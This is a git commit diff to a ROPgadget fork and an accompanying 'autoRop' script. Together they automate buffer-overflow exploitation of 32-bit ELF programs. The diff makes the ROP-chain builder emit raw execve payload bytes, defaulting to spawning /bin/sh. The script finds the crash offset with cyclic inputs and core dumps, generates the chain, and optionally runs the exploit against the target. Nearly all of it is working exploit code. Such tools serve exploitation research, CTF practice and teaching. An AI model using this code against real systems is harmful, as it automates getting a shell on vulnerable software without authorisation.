ROPgadget now writes to file itself, QOL changes in autoRop

This commit is contained in:
Jack Bond-Preston 2020-11-27 01:18:51 +00:00
parent d191eac742
commit e9245580e6
5 changed files with 97 additions and 79 deletions

View File

@ -85,6 +85,8 @@ architectures supported:
parser.add_argument("--re", type=str, metavar="<re>", help="Regular expression")
parser.add_argument("--offset", type=str, metavar="<hexaddr>", help="Specify an offset for gadget addresses")
parser.add_argument("--paddingLen", type=int, metavar="<nbyte>", default=6, help="Specify the padding length for the ROP chain")
parser.add_argument("--ropFile", type=str, metavar="<string>", default="rop.txt", help="The file to write the generated ROP bytes to")
parser.add_argument("--execPath", type=str, metavar="<string>", default="/bin/sh", help="Path of the executable to make execve() run")
parser.add_argument("--ropchain", action="store_true", help="Enable the ROP chain generation")
parser.add_argument("--thumb" , action="store_true", help="Use the thumb mode for the search engine (ARM only)")
parser.add_argument("--console", action="store_true", help="Use an interactive console for search engine")

View File

@ -215,7 +215,10 @@ class Core(cmd.Cmd):
self.__getGadgets()
self.__lookingForGadgets()
if self.__options.ropchain:
ROPMaker(self.__binary, self.__gadgets, self.__options.paddingLen, self.__offset)
ROPMaker(
self.__binary, self.__gadgets, self.__options.paddingLen,
self.__options.ropFile, self.__options.execPath, self.__offset
)
return True

View File

@ -11,13 +11,16 @@ import re
from capstone import *
from textwrap import wrap
import sys
from struct import pack
class ROPMakerX86(object):
def __init__(self, binary, gadgets, paddingLen, liboffset=0x0):
def __init__(self, binary, gadgets, paddingLen, outFile, execPath, liboffset=0x0):
self.__binary = binary
self.__gadgets = gadgets
self.paddingLen = paddingLen
self.outFile = outFile
self.execPath = execPath
# If it's a library, we have the option to add an offset to the addresses
self.__liboffset = liboffset
@ -67,14 +70,18 @@ class ROPMakerX86(object):
return None
def __padding(self, gadget, regAlreadSetted):
p = b""
lg = gadget["gadget"].split(" ; ")
for g in lg[1:]:
if g.split()[0] == "pop":
reg = g.split()[1]
try:
print("p += pack('<I', 0x%08x) # padding without overwrite %s" %(regAlreadSetted[reg], reg))
p = pack("<I", regAlreadSetted[reg])
except KeyError:
print("p += pack('<I', 0x41414141) # padding")
p = pack("<I", 0x41414141)
return p
def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall):
@ -87,110 +94,105 @@ class ROPMakerX86(object):
print("\n# [-] Error - Can't find a writable section")
return
print("#!/usr/bin/env python2")
print("# execve generated by ROPgadget\n" )
print("from struct import pack\n")
print("import sys")
# prepend padding
p = bytes('A' * self.paddingLen, "ascii")
print()
print("out_file = sys.argv[1]")
print()
print("p = b'" + ('A' * self.paddingLen) + "'\n")
command = "/bin/uname"
command = self.execPath
# split command into chunks of 4, prepend with /s as necessary
if len(command) % 4 > 0:
command = (4 - (len(command) % 4)) * "/" + command
command_chunks = wrap(command, 4)
# write the command
address = 0
offset = 0
for i, chunk in enumerate(command_chunks):
offset = (i * 4)
address = dataAddr + offset
print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # {popDst['gadget']}")
print(f"p += pack('<I', 0x{address:08x}) # @ .data + {offset}")
self.__padding(popDst, {})
print(f"p += pack('<I', 0x{popSrc['vaddr']:08x}) # {popSrc['gadget']}")
print(f"p += b'{ chunk }'")
self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
p += pack("<I", popDst['vaddr'])
print(f"p += pack('<I', 0x{write4where['vaddr']:08x}) # {write4where['gadget']}")
self.__padding(write4where, {})
p += pack("<I", address)
p += self.__padding(popDst, {})
p += pack("<I", popSrc['vaddr'])
p += bytes(chunk, "ascii")
p += self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
p += pack("<I", write4where['vaddr'])
p += self.__padding(write4where, {})
print()
offset += 4
address += 4
print()
print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # { popDst['gadget'] }")
print(f"p += pack('<I', 0x{address:08x}) # @ .data + {offset}")
self.__padding(popDst, {})
# write null byte after command string
p += pack("<I", popDst['vaddr'])
p += pack("<I", address)
p += self.__padding(popDst, {})
print("p += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
self.__padding(xorSrc, {})
p += pack("<I", xorSrc["vaddr"])
p += self.__padding(xorSrc, {})
print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
self.__padding(write4where, {})
p += pack("<I", write4where["vaddr"])
p += self.__padding(write4where, {})
print("p += pack('<I', 0x%08x) # %s" %(popEbx["vaddr"], popEbx["gadget"]))
print(f"p += pack('<I', 0x{dataAddr:08x}) # @ .data")
self.__padding(popEbx, {})
p += pack("<I", popEbx["vaddr"])
p += pack("<I", dataAddr) # @ .data
p += self.__padding(popEbx, {})
# write end + 4, after the null bytes
print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # {popDst['gadget']}")
print(f"p += pack('<I', 0x{(address + 4):08x}) # @ .data + {offset + 4}")
self.__padding(popDst, {})
p += pack('<I', popDst['vaddr'])
p += pack('<I', address + 4) # @ .data + {offset + 4}
p += self.__padding(popDst, {})
# write the data base address, which is the start of argv
print(f"p += pack('<I', 0x{popSrc['vaddr']:08x}) # {popSrc['gadget']}")
print(f"p += pack('<I', 0x{dataAddr:08x}) # @ .data")
self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
p += pack('<I', popSrc['vaddr'])
p += pack('<I', dataAddr) # @ .data
p += self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
# perform the write: eax -> [edx]
print(f"p += pack('<I', 0x{write4where['vaddr']:08x}) # {write4where['gadget']}")
self.__padding(write4where, {})
p += pack('<I', write4where['vaddr']) # {write4where['gadget']}")
p += self.__padding(write4where, {})
# ARGV MUST BE FOLLOWED BY NULL POINTER
print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # { popDst['gadget'] }")
print(f"p += pack('<I', 0x{address + 8:08x}) # @ .data + {offset + 8}")
self.__padding(popDst, {})
p += pack('<I', popDst['vaddr']) # { popDst['gadget'] }
p += pack('<I', address + 8) # @ .data + {offset + 8}
p += self.__padding(popDst, {})
print("p += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
self.__padding(xorSrc, {})
p += pack('<I', xorSrc["vaddr"])
p += self.__padding(xorSrc, {})
print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
self.__padding(write4where, {})
p += pack('<I', write4where["vaddr"])
p += self.__padding(write4where, {})
## MEMORY LAYOUT: PROGRAM, NULL, POINTER TO ARGV WHICH FOR NOW IS BACK TO THE START, NULL
print("p += pack('<I', 0x%08x) # %s" %(popEcx["vaddr"], popEcx["gadget"]))
print(f"p += pack('<I', 0x{(address + 4):08x}) # @ .data + {offset + 4}")
self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx
p += pack('<I', popEcx["vaddr"])
p += pack('<I', address + 4) # @ .data + {offset + 4}
p += self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx
print("p += pack('<I', 0x%08x) # %s" %(popEdx["vaddr"], popEdx["gadget"]))
print(f"p += pack('<I', 0x{address:08x}) # @ .data + {offset}")
self.__padding(popEdx, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
p += pack('<I', popEdx["vaddr"])
p += pack('<I', address) # @ .data + {offset}
p += self.__padding(popEdx, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
print("p += pack('<I', 0x%08x) # %s" %(xorEax["vaddr"], xorEax["gadget"]))
self.__padding(xorEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
p += pack('<I', xorEax["vaddr"])
p += self.__padding(xorEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
# 11 = execve
for i in range(11):
print("p += pack('<I', 0x%08x) # %s" %(incEax["vaddr"], incEax["gadget"]))
self.__padding(incEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
p += pack('<I', incEax["vaddr"])
p += self.__padding(incEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
print("p += pack('<I', 0x%08x) # %s" %(syscall["vaddr"], syscall["gadget"]))
p += pack('<I', syscall["vaddr"])
print("""
with open(out_file, "wb") as f:
f.write(p)
""")
with open(self.outFile, "wb") as f:
f.write(p)
def __generate(self):

View File

@ -11,10 +11,12 @@ from ropgadget.ropchain.arch.ropmakerx86 import *
from ropgadget.ropchain.arch.ropmakerx64 import *
class ROPMaker(object):
def __init__(self, binary, gadgets, paddingLen, offset):
def __init__(self, binary, gadgets, paddingLen, outFile, execPath, offset):
self.__binary = binary
self.__gadgets = gadgets
self.paddingLen = paddingLen
self.outFile = outFile
self.execPath = execPath
self.__offset = offset
self.__handlerArch()
@ -24,7 +26,7 @@ class ROPMaker(object):
if self.__binary.getArch() == CS_ARCH_X86 \
and self.__binary.getArchMode() == CS_MODE_32 \
and self.__binary.getFormat() == "ELF":
ROPMakerX86(self.__binary, self.__gadgets, self.paddingLen, self.__offset)
ROPMakerX86(self.__binary, self.__gadgets, self.paddingLen, self.outFile, self.execPath, self.__offset)
elif self.__binary.getArch() == CS_ARCH_X86 \
and self.__binary.getArchMode() == CS_MODE_64 \

View File

@ -34,23 +34,29 @@ print(r'''
arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable")
arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit")
arg_parser.add_argument("rop_file", metavar="rop_file", type=str, help="The name of the generated ROP input file")
arg_parser.add_argument("--rop_file", metavar="rop_file", default="rop.txt", type=str, help="The name of the generated ROP input file")
arg_parser.add_argument("--rop_exec", metavar="rop_exec", default="/bin/sh", type=str, help="The path to the executable the ROP should run")
arg_parser.add_argument("--min_payload", metavar="min", default=32, type=int, help="The minimum payload length to try")
arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try")
arg_parser.add_argument("--run", action="store_true", default=False, help="Automatically run the ROP on the executable")
args = arg_parser.parse_args()
exec_file = args.exec_file
rop_file = args.rop_file
rop_exec = args.rop_exec
min_payload = args.min_payload
max_payload = args.max_payload
run = args.run
def find_offset(exec_file: str, min_payload: int, max_payload: int):
input_file = "input.txt"
print("[ Find Offset Length ]")
input_file = "/tmp/input.txt"
payload_size = min_payload
while payload_size <= max_payload:
print(f"[🤔] Trying payload {payload_size}...")
print(f" ├─[🤔] Trying payload {payload_size}...")
with open(input_file, "wb") as f:
payload = cyclic(payload_size)
@ -66,7 +72,7 @@ def find_offset(exec_file: str, min_payload: int, max_payload: int):
if core is not None and pack(core.eip) in payload:
offset = cyclic_find(core.eip)
print(f"[😳] Found offset at {offset}!\n")
print(f" └─[😳] Found offset at {offset}!\n")
return offset
payload_size *= 2
@ -76,25 +82,28 @@ def find_offset(exec_file: str, min_payload: int, max_payload: int):
offset = find_offset(exec_file, min_payload, max_payload)
if offset == -1:
print(f"[😞] Failed to find offset. Try increasing the payload bounds and ensuring core dumps are enabled!")
print(f" └─[😞] Failed to find offset. Try increasing the payload bounds and ensuring core dumps are enabled!")
sys.exit(0)
print(f"[🤔] Running ROPgadget with offset {offset}...")
print("[ Generate ROP ]")
print(f" ├─[🤔] Running ROPgadget with offset {offset}...")
result = subprocess.run(
[
"ROPgadget",
"--binary", exec_file,
"--ropchain",
"--silent",
"--paddingLen", str(offset)
"--paddingLen", str(offset),
"--ropFile", rop_file,
"--execPath", rop_exec
],
stdout = subprocess.PIPE
)
with open("script.py", "wb") as f:
f.write(result.stdout)
print(f" └─[🤩] All done! The ROP input is saved to {rop_file}!")
print(f"[🤔] Running generated script to create ROP input file...")
process(["python3", "script.py", rop_file]).wait()
print(f"[🤩] All done! The ROP input is saved to {rop_file}!")
if run:
print()
print(f"[ Run Program : ./{exec_file} {rop_file} ]")
os.execv(exec_file, [exec_file, rop_file])